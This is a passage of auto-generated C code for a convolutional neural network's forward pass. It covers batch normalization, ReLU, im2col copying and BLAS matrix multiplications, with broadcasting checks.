x15939 == x16009;\nbool x16014 = x16012 || x16013;\nx16015 = x16014;\n} else {\nx16015 = false;\n}\nbool x16019;\nif (x16015) {\nx16019 = x16018;\n} else {\nx16019 = false;\n}\nbool x16020;\nif (x16019) {\nx16020 = x16018;\n} else {\nx16020 = false;\n}\nif (x16020) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x15939,x15941,x15941,1,x16009,1,1);\nassert(false && \"\");\n}\nbool x16026 = x15939 <= x16009;\nint32_t x16027;\nif (x16026) {\nx16027 = x16009;\n} else {\nx16027 = x15939;\n}\nint32_t x16036 = x16027 * x16035;\nint32_t x16037 = 64 * x16036;\nfloat* x16038 = (float*)myMalloc(x16037 * sizeof(float));;\nint32_t x16039;\nif (x16010) {\nx16039 = 0;\n} else {\nx16039 = x15947;\n}\nint32_t x16042;\nif (x16011) {\nx16042 = 0;\n} else {\nx16042 = 1;\n}\nfor(int x16043=0; x16043 < 64; x16043++) {\nint32_t x16055 = x15948 * x16043;\nint32_t x16049 = x16036 * x16043;\nfor(int x16045=0; x16045 < x16027; x16045++) {\nint32_t x16056 = x16039 * x16045;\nint32_t x16057 = x16055 + x16056;\nint32_t x16062 = x16042 * x16045;\nint32_t x16051 = x16035 * x16045;\nfor(int x16047=0; x16047 < x16029; x16047++) {\nint32_t x16058 = x16040 * x16047;\nint32_t x16059 = x16057 + x16058;\nint32_t x16053 = x16029 * x16047;\nfor(int x16048=0; x16048 < x16029; x16048++) {\nint32_t x16060 = x16041 * x16048;\nint32_t x16061 = x16059 + x16060;\nfloat x16063 = x15950[x16061];\nfloat x16064 = x263[x16062];\nint32_t x16050 = x16048 + x16049;\nint32_t x16052 = x16050 + x16051;\nint32_t x16054 = x16052 + x16053;\nfloat x16065 = x16063 * x16064;\nx16038[x16054] = x16065;\n\n}\n\n}\n\n}\n\n}\nint32_t x16075 = 0;\nint32_t x16076 = 1;\nx16076 *= 1;\nx16075 += 1;\nx16076 *= 1;\nx16076 *= 1;\nint32_t x16081 = x16075;\nbool x16082 = x16081 >= 2;\nif (x16082) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x16087 = x16081 == 0;\nif (x16087) {\nint32_t x16088 = x16076;\nbool x16089 = x16088 == 1024;\nif (x16089) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x16096 = x16076;\nbool x16098 = x16027 == 1;\nint32_t x16097 = 1024 / x16096;\nbool x16099 = x16097 == 1;\nbool x16103;\nif (x454) {\nbool x16100 = x16098 || x16099;\nbool x16101 = x16027 == x16097;\nbool x16102 = x16100 || x16101;\nx16103 = x16102;\n} else {\nx16103 = false;\n}\nbool x16107;\nif (x16103) {\nx16107 = x16106;\n} else {\nx16107 = false;\n}\nbool x16108;\nif (x16107) {\nx16108 = x16106;\n} else {\nx16108 = false;\n}\nif (x16108) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x16027,x16029,x16029,1,x16097,1,1);\nassert(false && \"\");\n}\nbool x16114 = x16027 <= x16097;\nint32_t x16115;\nif (x16114) {\nx16115 = x16097;\n} else {\nx16115 = x16027;\n}\nint32_t x16124 = x16115 * x16123;\nint32_t x16125 = 64 * x16124;\nfloat* x16126 = (float*)myMalloc(x16125 * sizeof(float));;\nint32_t x16127;\nif (x16098) {\nx16127 = 0;\n} else {\nx16127 = x16035;\n}\nint32_t x16130;\nif (x16099) {\nx16130 = 0;\n} else {\nx16130 = 1;\n}\nfor(int x16131=0; x16131 < 64; x16131++) {\nint32_t x16143 = x16036 * x16131;\nint32_t x16137 = x16124 * x16131;\nfor(int x16133=0; x16133 < x16115; x16133++) {\nint32_t x16144 = x16127 * x16133;\nint32_t x16145 = x16143 + x16144;\nint32_t x16150 = x16130 * x16133;\nint32_t x16139 = x16123 * x16133;\nfor(int x16135=0; x16135 < x16117; x16135++) {\nint32_t x16146 = x16128 * x16135;\nint32_t x16147 = x16145 + x16146;\nint32_t x16141 = x16117 * x16135;\nfor(int x16136=0; x16136 < x16117; x16136++) {\nint32_t x16148 = x16129 * x16136;\nint32_t x16149 = x16147 + x16148;\nfloat x16151 = x16038[x16149];\nfloat x16152 = x57[x16150];\nint32_t x16138 = x16136 + x16137;\nint32_t x16140 = x16138 + x16139;\nint32_t x16142 = x16140 + x16141;\nfloat x16153 = x16151 + x16152;\nx16126[x16142] = x16153;\n\n}\n\n}\n\n}\n\n}\nbool x16163 = x16115 == 1;\nbool x16164 = x16163 || x14751;\nbool x16165 = x16115 == x14703;\nbool x16166 = x16164 || x16165;\nbool x16171;\nif (x16166) {\nx16171 = x16170;\n} else {\nx16171 = false;\n}\nbool x16172;\nif (x16171) {\nx16172 = x16170;\n} else {\nx16172 = false;\n}\nif (x16172) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x16115,x16117,x16117,64,x14703,x14705,x14705);\nassert(false && \"\");\n}\nbool x16178 = x16115 <= x14703;\nint32_t x16179;\nif (x16178) {\nx16179 = x14703;\n} else {\nx16179 = x16115;\n}\nint32_t x16195;\nif (x16163) {\nx16195 = 0;\n} else {\nx16195 = x16123;\n}\nfor(int x16198=0; x16198 < 64; x16198++) {\nint32_t x16204 = x16124 * x16198;\nint32_t x16211 = x14712 * x16198;\nfor(int x16200=0; x16200 < x16179; x16200++) {\nint32_t x16205 = x16195 * x16200;\nint32_t x16206 = x16204 + x16205;\nint32_t x16212 = x14783 * x16200;\nint32_t x16213 = x16211 + x16212;\nfor(int x16202=0; x16202 < x16181; x16202++) {\nint32_t x16207 = x16196 * x16202;\nint32_t x16208 = x16206 + x16207;\nint32_t x16214 = x14784 * x16202;\nint32_t x16215 = x16213 + x16214;\nfor(int x16203=0; x16203 < x16181; x16203++) {\nint32_t x16209 = x16197 * x16203;\nint32_t x16210 = x16208 + x16209;\nfloat x16218 = x16126[x16210];\nint32_t x16216 = x14785 * x16203;\nint32_t x16217 = x16215 + x16216;\nfloat x16219 = x14818[x16217];\nfloat x16220 = x16218 + x16219;\nx16126[x16210] = x16220;\n\n}\n\n}\n\n}\n\n}\nfloat* x16230 = (float*)myMalloc(x16125 * sizeof(float));;\nfor(int x16232=0; x16232 < x16125; x16232++) {\nfloat x16233 = x16126[x16232];\nbool x16234 = x16233 < 0.0f;\nif (x16234) {\nx16230[x16232] = 0.0f;\n} else {\nfloat x16237 = x16126[x16232];\nx16230[x16232] = x16237;\n}\n\n}\nfloat* x16251 = (float*)myMalloc(x16250 * sizeof(float));;\nint32_t x16254 = 64 * x16115;\nint32_t x16255 = x16254 * x16246;\nfloat* x16256 = (float*)myMalloc(x16255 * sizeof(float));;\nint32_t x16252 = x16115 * x16246;\nfor(int x16257=0; x16257 < 64; x16257++) {\nint32_t x16258 = x16257 * x16124;\nfloat* x16259 = x16230+x16258;\nint32_t x16260 = x16257 * x16247;\nfloat* x16261 = x16251+x16260;\nint32_t x16262 = x16257 * x16252;\nfloat* x16263 = x16256+x16262;\nfor(int x16264=0; x16264 < x16115; x16264++) {\nint32_t x16265 = x16264 / 1;\nint32_t x16269 = x16265 * x16245;\nint32_t x16270 = x16269 * x16245;\nint32_t x16266 = x16264 % 1;\nint32_t x16267 = x16266 / 1;\nint32_t x16271 = x16267 * x16245;\nint32_t x16272 = x16271 * x16245;\nint32_t x16273 = x16270 + x16272;\nint32_t x16268 = x16266 % 1;\nint32_t x16274 = x16268 * x16245;\nint32_t x16275 = x16274 * x16245;\nint32_t x16276 = x16273 + x16275;\nfloat* x16277 = x16263+x16276;\nint32_t x16278 = x16265 * x16117;\nint32_t x16279 = x16278 * x16117;\nfloat* x16280 = x16259+x16279;\nfor(int x16282=0; x16282 < x16245; x16282++) {\nint32_t x16284 = x16282 * x16245;\nfloat* x16285 = x16277+x16284;\nint32_t x16283 = x16282 + x16267;\nint32_t x16286 = x16283 * x16117;\nint32_t x16287 = x16286 + x16268;\nfloat* x16288 = x16280+x16287;\nmemcpy(x16285, x16288, 4 * x16245);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x16246,x16115,1,x6,x16115,x16263,x16246,1,x16261,x16246);\n\n}\nint32_t x16297 = 0;\nint32_t x16298 = 1;\nx16298 *= 1;\nx16297 += 1;\nx16298 *= 1;\nx16298 *= 1;\nint32_t x16303 = x16297;\nbool x16304 = x16303 >= 2;\nif (x16304) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x16309 = x16303 == 0;\nif (x16309) {\nint32_t x16310 = x16298;\nbool x16311 = x16310 == 256;\nif (x16311) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x16318 = x16298;\nint32_t x16319 = 256 / x16318;\nbool x16320 = x16319 == 1;\nbool x16323;\nif (x454) {\nbool x16321 = 256 == x16319;\nbool x16322 = x16320 || x16321;\nx16323 = x16322;\n} else {\nx16323 = false;\n}\nbool x16327;\nif (x16323) {\nx16327 = x16326;\n} else {\nx16327 = false;\n}\nbool x16328;\nif (x16327) {\nx16328 = x16326;\n} else {\nx16328 = false;\n}\nif (x16328) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x16245,x16245,1,x16319,1,1);\nassert(false && \"\");\n}\nbool x16334 = 256 <= x16319;\nint32_t x16335;\nif (x16334) {\nx16335 = x16319;\n} else {\nx16335 = 256;\n}\nint32_t x16344 = x16335 * x16343;\nint32_t x16345 = 64 * x16344;\nfloat* x16346 = (float*)myMalloc(x16345 * sizeof(float));;\nint32_t x16349;\nif (x16320) {\nx16349 = 0;\n} else {\nx16349 = 1;\n}\nfor(int x16350=0; x16350 < 64; x16350++) {\nint32_t x16362 = x16247 * x16350;\nint32_t x16356 = x16344 * x16350;\nfor(int x16352=0; x16352 < x16335; x16352++) {\nint32_t x16363 = x16246 * x16352;\nint32_t x16364 = x16362 + x16363;\nint32_t x16369 = x16349 * x16352;\nint32_t x16358 = x16343 * x16352;\nfor(int x16354=0; x16354 < x16337; x16354++) {\nint32_t x16365 = x16347 * x16354;\nint32_t x16366 = x16364 + x16365;\nint32_t x16360 = x16337 * x16354;\nfor(int x16355=0; x16355 < x16337; x16355++) {\nint32_t x16367 = x16348 * x16355;\nint32_t x16368 = x16366 + x16367;\nfloat x16370 = x16251[x16368];\nfloat x16371 = x163[x16369];\nint32_t x16357 = x16355 + x16356;\nint32_t x16359 = x16357 + x16358;\nint32_t x16361 = x16359 + x16360;\nfloat x16372 = x16370 - x16371;\nx16346[x16361] = x16372;\n\n}\n\n}\n\n}\n\n}\nfloat* x16382 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x16383=0; x16383 < 256; x16383++) {\nfloat x16384 = x98[x16383];\nfloat x16385 = x16384 + 1.0E-5f;\nx16382[x16383] = x16385;\n\n}\nfloat* x16389 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x16390=0; x16390 < 256; x16390++) {\nfloat x16391 = x16382[x16390];\ndouble x16392 = (double)x16391;\ndouble x16393 = sqrt(x16392);\nfloat x16394 = (float)x16393;\nx16389[x16390] = x16394;\n\n}\nint32_t x16398 = 0;\nint32_t x16399 = 1;\nx16399 *= 1;\nx16398 += 1;\nx16399 *= 1;\nx16399 *= 1;\nint32_t x16404 = x16398;\nbool x16405 = x16404 >= 2;\nif (x16405) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x16410 = x16404 == 0;\nif (x16410) {\nint32_t x16411 = x16399;\nbool x16412 = x16411 == 256;\nif (x16412) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x16419 = x16399;\nbool x16421 = x16335 == 1;\nint32_t x16420 = 256 / x16419;\nbool x16422 = x16420 == 1;\nbool x16426;\nif (x454) {\nbool x16423 = x16421 || x16422;\nbool x16424 = x16335 == x16420;\nbool x16425 = x16423 || x16424;\nx16426 = x16425;\n} else {\nx16426 = false;\n}\nbool x16430;\nif (x16426) {\nx16430 = x16429;\n} else {\nx16430 = false;\n}\nbool x16431;\nif (x16430) {\nx16431 = x16429;\n} else {\nx16431 = false;\n}\nif (x16431) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x16335,x16337,x16337,1,x16420,1,1);\nassert(false && \"\");\n}\nbool x16437 = x16335 <= x16420;\nint32_t x16438;\nif (x16437) {\nx16438 = x16420;\n} else {\nx16438 = x16335;\n}\nint32_t x16447 = x16438 * x16446;\nint32_t x16448 = 64 * x16447;\nfloat* x16449 = (float*)myMalloc(x16448 * sizeof(float));;\nint32_t x16450;\nif (x16421) {\nx16450 = 0;\n} else {\nx16450 = x16343;\n}\nint32_t x16453;\nif (x16422) {\nx16453 = 0;\n} else {\nx16453 = 1;\n}\nfor(int x16454=0; x16454 < 64; x16454++) {\nint32_t x16466 = x16344 * x16454;\nint32_t x16460 = x16447 * x16454;\nfor(int x16456=0; x16456 < x16438; x16456++) {\nint32_t x16467 = x16450 * x16456;\nint32_t x16468 = x16466 + x16467;\nint32_t x16473 = x16453 * x16456;\nint32_t x16462 = x16446 * x16456;\nfor(int x16458=0; x16458 < x16440; x16458++) {\nint32_t x16469 = x16451 * x16458;\nint32_t x16470 = x16468 + x16469;\nint32_t x16464 = x16440 * x16458;\nfor(int x16459=0; x16459 < x16440; x16459++) {\nint32_t x16471 = x16452 * x16459;\nint32_t x16472 = x16470 + x16471;\nfloat x16474 = x16346[x16472];\nfloat x16475 = x16389[x16473];\nint32_t x16461 = x16459 + x16460;\nint32_t x16463 = x16461 + x16462;\nint32_t x16465 = x16463 + x16464;\nfloat x16476 = x16474 / x16475;\nx16449[x16465] = x16476;\n\n}\n\n}\n\n}\n\n}\nint32_t x16486 = 0;\nint32_t x16487 = 1;\nx16487 *= 1;\nx16486 += 1;\nx16487 *= 1;\nx16487 *= 1;\nint32_t x16492 = x16486;\nbool x16493 = x16492 >= 2;\nif (x16493) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x16498 = x16492 == 0;\nif (x16498) {\nint32_t x16499 = x16487;\nbool x16500 = x16499 == 256;\nif (x16500) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x16507 = x16487;\nbool x16509 = x16438 == 1;\nint32_t x16508 = 256 / x16507;\nbool x16510 = x16508 == 1;\nbool x16514;\nif (x454) {\nbool x16511 = x16509 || x16510;\nbool x16512 = x16438 == x16508;\nbool x16513 = x16511 || x16512;\nx16514 = x16513;\n} else {\nx16514 = false;\n}\nbool x16518;\nif (x16514) {\nx16518 = x16517;\n} else {\nx16518 = false;\n}\nbool x16519;\nif (x16518) {\nx16519 = x16517;\n} else {\nx16519 = false;\n}\nif (x16519) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x16438,x16440,x16440,1,x16508,1,1);\nassert(false && \"\");\n}\nbool x16525 = x16438 <= x16508;\nint32_t x16526;\nif (x16525) {\nx16526 = x16508;\n} else {\nx16526 = x16438;\n}\nint32_t x16535 = x16526 * x16534;\nint32_t x16536 = 64 * x16535;\nfloat* x16537 = (float*)myMalloc(x16536 * sizeof(float));;\nint32_t x16538;\nif (x16509) {\nx16538 = 0;\n} else {\nx16538 = x16446;\n}\nint32_t x16541;\nif (x16510) {\nx16541 = 0;\n} else {\nx16541 = 1;\n}\nfor(int x16542=0; x16542 < 64; x16542++) {\nint32_t x16554 = x16447 * x16542;\nint32_t x16548 = x16535 * x16542;\nfor(int x16544=0; x16544 < x16526; x16544++) {\nint32_t x16555 = x16538 * x16544;\nint32_t x16556 = x16554 + x16555;\nint32_t x16561 = x16541 * x16544;\nint32_t x16550 = x16534 * x16544;\nfor(int x16546=0; x16546 < x16528; x16546++) {\nint32_t x16557 = x16539 * x16546;\nint32_t x16558 = x16556 + x16557;\nint32_t x16552 = x16528 * x16546;\nfor(int x16547=0; x16547 < x16528; x16547++) {\nint32_t x16559 = x16540 * x16547;\nint32_t x16560 = x16558 + x16559;\nfloat x16562 = x16449[x16560];\nfloat x16563 = x92[x16561];\nint32_t x16549 = x16547 + x16548;\nint32_t x16551 = x16549 + x16550;\nint32_t x16553 = x16551 + x16552;\nfloat x16564 = x16562 * x16563;\nx16537[x16553] = x16564;\n\n}\n\n}\n\n}\n\n}\nint32_t x16574 = 0;\nint32_t x16575 = 1;\nx16575 *= 1;\nx16574 += 1;\nx16575 *= 1;\nx16575 *= 1;\nint32_t x16580 = x16574;\nbool x16581 = x16580 >= 2;\nif (x16581) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x16586 = x16580 == 0;\nif (x16586) {\nint32_t x16587 = x16575;\nbool x16588 = x16587 == 256;\nif (x16588) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x16595 = x16575;\nbool x16597 = x16526 == 1;\nint32_t x16596 = 256 / x16595;\nbool x16598 = x16596 == 1;\nbool x16602;\nif (x454) {\nbool x16599 = x16597 || x16598;\nbool x16600 = x16526 == x16596;\nbool x16601 = x16599 || x16600;\nx16602 = x16601;\n} else {\nx16602 = false;\n}\nbool x16606;\nif (x16602) {\nx16606 = x16605;\n} else {\nx16606 = false;\n}\nbool x16607;\nif (x16606) {\nx16607 = x16605;\n} else {\nx16607 = false;\n}\nif (x16607) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x16526,x16528,x16528,1,x16596,1,1);\nassert(false && \"\");\n}\nbool x16613 = x16526 <= x16596;\nint32_t x16614;\nif (x16613) {\nx16614 = x16596;\n} else {\nx16614 = x16526;\n}\nint32_t x16623 = x16614 * x16622;\nint32_t x16624 = 64 * x16623;\nfloat* x16625 = (float*)myMalloc(x16624 * sizeof(float));;\nint32_t x16626;\nif (x16597) {\nx16626 = 0;\n} else {\nx16626 = x16534;\n}\nint32_t x16629;\nif (x16598) {\nx16629 = 0;\n} else {\nx16629 = 1;\n}\nfor(int x16630=0; x16630 < 64; x16630++) {\nint32_t x16642 = x16535 * x16630;\nint32_t x16636 = x16623 * x16630;\nfor(int x16632=0; x16632 < x16614; x16632++) {\nint32_t x16643 = x16626 * x16632;\nint32_t x16644 = x16642 + x16643;\nint32_t x16649 = x16629 * x16632;\nint32_t x16638 = x16622 * x16632;\nfor(int x16634=0; x16634 < x16616; x16634++) {\nint32_t x16645 = x16627 * x16634;\nint32_t x16646 = x16644 + x16645;\nint32_t x16640 = x16616 * x16634;\nfor(int x16635=0; x16635 < x16616; x16635++) {\nint32_t x16647 = x16628 * x16635;\nint32_t x16648 = x16646 + x16647;\nfloat x16650 = x16537[x16648];\nfloat x16651 = x241[x16649];\nint32_t x16637 = x16635 + x16636;\nint32_t x16639 = x16637 + x16638;\nint32_t x16641 = x16639 + x16640;\nfloat x16652 = x16650 + x16651;\nx16625[x16641] = x16652;\n\n}\n\n}\n\n}\n\n}\nfloat* x16662 = (float*)myMalloc(x16624 * sizeof(float));;\nfor(int x16664=0; x16664 < x16624; x16664++) {\nfloat x16665 = x16625[x16664];\nbool x16666 = x16665 < 0.0f;\nif (x16666) {\nx16662[x16664] = 0.0f;\n} else {\nfloat x16669 = x16625[x16664];\nx16662[x16664] = x16669;\n}\n\n}\nfloat* x16684 = (float*)myMalloc(x16683 * sizeof(float));;\nint32_t x16685 = 9 * x16614;\nint32_t x16688 = 64 * x16685;\nint32_t x16689 = x16688 * x16679;\nfloat* x16690 = (float*)myMalloc(x16689 * sizeof(float));;\nint32_t x16686 = x16685 * x16679;\nint32_t x16698 = x16614 * 3;\nint32_t x16699 = x16698 * 3;\nfor(int x16691=0; x16691 < 64; x16691++) {\nint32_t x16692 = x16691 * x16623;\nfloat* x16693 = x16662+x16692;\nint32_t x16694 = x16691 * x16680;\nfloat* x16695 = x16684+x16694;\nint32_t x16696 = x16691 * x16686;\nfloat* x16697 = x16690+x16696;\nfor(int x16701=0; x16701 < x16699; x16701++) {\nint32_t x16702 = x16701 / 9;\nint32_t x16706 = x16702 * 3;\nint32_t x16707 = x16706 * 3;\nint32_t x16708 = x16707 * x16678;\nint32_t x16709 = x16708 * x16678;\nint32_t x16703 = x16701 % 9;\nint32_t x16704 = x16703 / 3;\nint32_t x16710 = x16704 * 3;\nint32_t x16711 = x16710 * x16678;\nint32_t x16712 = x16711 * x16678;\nint32_t x16713 = x16709 + x16712;\nint32_t x16705 = x16703 % 3;\nint32_t x16714 = x16705 * x16678;\nint32_t x16715 = x16714 * x16678;\nint32_t x16716 = x16713 + x16715;\nfloat* x16717 = x16697+x16716;\nint32_t x16718 = x16702 * x16616;\nint32_t x16719 = x16718 * x16616;\nfloat* x16720 = x16693+x16719;\nint32_t x16733 = 1 - x16705;\nbool x16734 = x16733 > 0;\nint32_t x16735;\nif (x16734) {\nx16735 = x16733;\n} else {\nx16735 = 0;\n}\nint32_t x16736 = 3 - x16705;\nint32_t x16737 = x16736 - 1;\nint32_t x16738 = 1 - x16737;\nbool x16739 = x16738 > 0;\nint32_t x16740;\nif (x16739) {\nx16740 = x16738;\n} else {\nx16740 = 0;\n}\nint32_t x16741 = x16678 - x16740;\nint32_t x16742 = x16741 - x16735;\nbool x16743 = x16742 <= 0;\nbool x16747 = x16735 > 0;\nint32_t x16732 = -1 + x16705;\nbool x16760 = x16740 > 0;\nfor(int x16722=0; x16722 < x16678; x16722++) {\nint32_t x16723 = x16722 - 1;\nint32_t x16724 = x16723 + x16704;\nbool x16725 = x16724 < 0;\nbool x16726 = x16724 >= x16616;\nbool x16727 = x16725 || x16726;\nif (x16727) {\nint32_t x16728 = x16722 * x16678;\nfloat* x16729 = x16717+x16728;\nmemset(x16729, 0, 4 * x16678);;\n} else {\nif (x16743) {\nint32_t x16728 = x16722 * x16678;\nfloat* x16744 = x16717+x16728;\nmemset(x16744, 0, 4 * x16678);;\n} else {\nint32_t x16728 = x16722 * x16678;\nif (x16747) {\nfloat* x16748 = x16717+x16728;\nmemset(x16748, 0, 4 * x16735);;\n} else {\n}\n// may have segfault here\nint32_t x16753 = x16728 + x16735;\nfloat* x16754 = x16717+x16753;\nint32_t x16755 = x16724 * x16616;\nint32_t x16756 = x16755 + x16732;\nint32_t x16757 = x16756 + x16735;\nfloat* x16758 = x16720+x16757;\nmemcpy(x16754, x16758, 4 * x16742);;\nif (x16760) {\nint32_t x16761 = x16728 + x16678;\nint32_t x16762 = x16761 - x16740;\nfloat* x16763 = x16717+x16762;\nmemset(x16763, 0, 4 * x16740);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x16679,x16685,1,x249,x16685,x16697,x16679,1,x16695,x16679);\n\n}\nint32_t x16778 = 0;\nint32_t x16779 = 1;\nx16779 *= 1;\nx16778 += 1;\nx16779 *= 1;\nx16779 *= 1;\nint32_t x16784 = x16778;\nbool x16785 = x16784 >= 2;\nif (x16785) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x16790 = x16784 == 0;\nif (x16790) {\nint32_t x16791 = x16779;\nbool x16792 = x16791 == 256;\nif (x16792) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x16799 = x16779;\nint32_t x16800 = 256 / x16799;\nbool x16801 = x16800 == 1;\nbool x16804;\nif (x454) {\nbool x16802 = 256 == x16800;\nbool x16803 = x16801 || x16802;\nx16804 = x16803;\n} else {\nx16804 = false;\n}\nbool x16808;\nif (x16804) {\nx16808 = x16807;\n} else {\nx16808 = false;\n}\nbool x16809;\nif (x16808) {\nx16809 = x16807;\n} else {\nx16809 = false;\n}\nif (x16809) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x16678,x16678,1,x16800,1,1);\nassert(false && \"\");\n}\nbool x16815 = 256 <= x16800;\nint32_t x16816;\nif (x16815) {\nx16816 = x16800;\n} else {\nx16816 = 256;\n}\nint32_t x16825 = x16816 * x16824;\nint32_t x16826 = 64 * x16825;\nfloat* x16827 = (float*)myMalloc(x16826 * sizeof(float));;\nint32_t x16830;\nif (x16801) {\nx16830 = 0;\n} else {\nx16830 = 1;\n}\nfor(int x16831=0; x16831 < 64; x16831++) {\nint32_t x16843 = x16680 * x16831;\nint32_t x16837 = x16825 * x16831;\nfor(int x16833=0; x16833 < x16816; x16833++) {\nint32_t x16844 = x16679 * x16833;\nint32_t x16845 = x16843 + x16844;\nint32_t x16850 = x16830 * x16833;\nint32_t x16839 = x16824 * x16833;\nfor(int x16835=0; x16835 < x16818; x16835++) {\nint32_t x16846 = x16828 * x16835;\nint32_t x16847 = x16845 + x16846;\nint32_t x16841 = x16818 * x16835;\nfor(int x16836=0; x16836 < x16818; x16836++) {\nint32_t x16848 = x16829 * x16836;\nint32_t x16849 = x16847 + x16848;\nfloat x16851 = x16684[x16849];\nfloat x16852 = x186[x16850];\nint32_t x16838 = x16836 + x16837;\nint32_t x16840 = x16838 + x16839;\nint32_t x16842 = x16840 + x16841;\nfloat x16853 = x16851 - x16852;\nx16827[x16842] = x16853;\n\n}\n\n}\n\n}\n\n}\nfloat* x16863 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x16864=0; x16864 < 256; x16864++) {\nfloat x16865 = x230[x16864];\nfloat x16866 = x16865 + 1.0E-5f;\nx16863[x16864] = x16866;\n\n}\nfloat* x16870 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x16871=0; x16871 < 256; x16871++) {\nfloat x16872 = x16863[x16871];\ndouble x16873 = (double)x16872;\ndouble x16874 = sqrt(x16873);\nfloat x16875 = (float)x16874;\nx16870[x16871] = x16875;\n\n}\nint32_t x16879 = 0;\nint32_t x16880 = 1;\nx16880 *= 1;\nx16879 += 1;\nx16880 *= 1;\nx16880 *= 1;\nint32_t x16885 = x16879;\nbool x16886 = x16885 >= 2;\nif (x16886) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x16891 = x16885 == 0;\nif (x16891) {\nint32_t x16892 = x16880;\nbool x16893 = x16892 == 256;\nif (x16893) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x16900 = x16880;\nbool x16902 = x16816 == 1;\nint32_t x16901 = 256 / x16900;\nbool x16903 = x16901 == 1;\nbool x16907;\nif (x454) {\nbool x16904 = x16902 || x16903;\nbool x16905 = x16816 == x16901;\nbool x16906 = x16904 || x16905;\nx16907 = x16906;\n} else {\nx16907 = false;\n}\nbool x16911;\nif (x16907) {\nx16911 = x16910;\n} else {\nx16911 = false;\n}\nbool x16912;\nif (x16911) {\nx16912 = x16910;\n} else {\nx16912 = false;\n}\nif (x16912) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x16816,x16818,x16818,1,x16901,1,1);\nassert(false && \"\");\n}\nbool x16918 = x16816 <= x16901;\nint32_t x16919;\nif (x16918) {\nx16919 = x16901;\n} else {\nx16919 = x16816;\n}\nint32_t x16928 = x16919 * x16927;\nint32_t x16929 = 64 * x16928;\nfloat* x16930 = (float*)myMalloc(x16929 * sizeof(float));;\nint32_t x16931;\nif (x16902) {\nx16931 = 0;\n} else {\nx16931 = x16824;\n}\nint32_t x16934;\nif (x16903) {\nx16934 = 0;\n} else {\nx16934 = 1;\n}\nfor(int x16935=0; x16935 < 64; x16935++) {\nint32_t x16947 = x16825 * x16935;\nint32_t x16941 = x16928 * x16935;\nfor(int x16937=0; x16937 < x16919; x16937++) {\nint32_t x16948 = x16931 * x16937;\nint32_t x16949 = x16947 + x16948;\nint32_t x16954 = x16934 * x16937;\nint32_t x16943 = x16927 * x16937;\nfor(int x16939=0; x16939 < x16921; x16939++) {\nint32_t x16950 = x16932 * x16939;\nint32_t x16951 = x16949 + x16950;\nint32_t x16945 = x16921 * x16939;\nfor(int x16940=0; x16940 < x16921; x16940++) {\nint32_t x16952 = x16933 * x16940;\nint32_t x16953 = x16951 + x16952;\nfloat x16955 = x16827[x16953];\nfloat x16956 = x16870[x16954];\nint32_t x16942 = x16940 + x16941;\nint32_t x16944 = x16942 + x16943;\nint32_t x16946 = x16944 + x16945;\nfloat x16957 = x16955 / x16956;\nx16930[x16946] = x16957;\n\n}\n\n}\n\n}\n\n}\nint32_t x16967 = 0;\nint32_t x16968 = 1;\nx16968 *= 1;\nx16967 += 1;\nx16968 *= 1;\nx16968 *= 1;\nint32_t x16973 = x16967;\nbool x16974 = x16973 >= 2;\nif (x16974) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x16979 = x16973 == 0;\nif (x16979) {\nint32_t x16980 = x16968;\nbool x16981 = x16980 == 256;\nif (x16981) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x16988 = x16968;\nbool x16990 = x16919 == 1;\nint32_t x16989 = 256 / x16988;\nbool x16991 = x16989 == 1;\nbool x16995;\nif (x454) {\nbool x16992 = x16990 || x16991;\nbool x16993 = x16919 == x16989;\nbool x16994 = x16992 || x16993;\nx16995 = x16994;\n} else {\nx16995 = false;\n}\nbool x16999;\nif (x16995) {\nx16999 = x16998;\n} else {\nx16999 = false;\n}\nbool x17000;\nif (x16999) {\nx17000 = x16998;\n} else {\nx17000 = false;\n}\nif (x17000) {\n} else 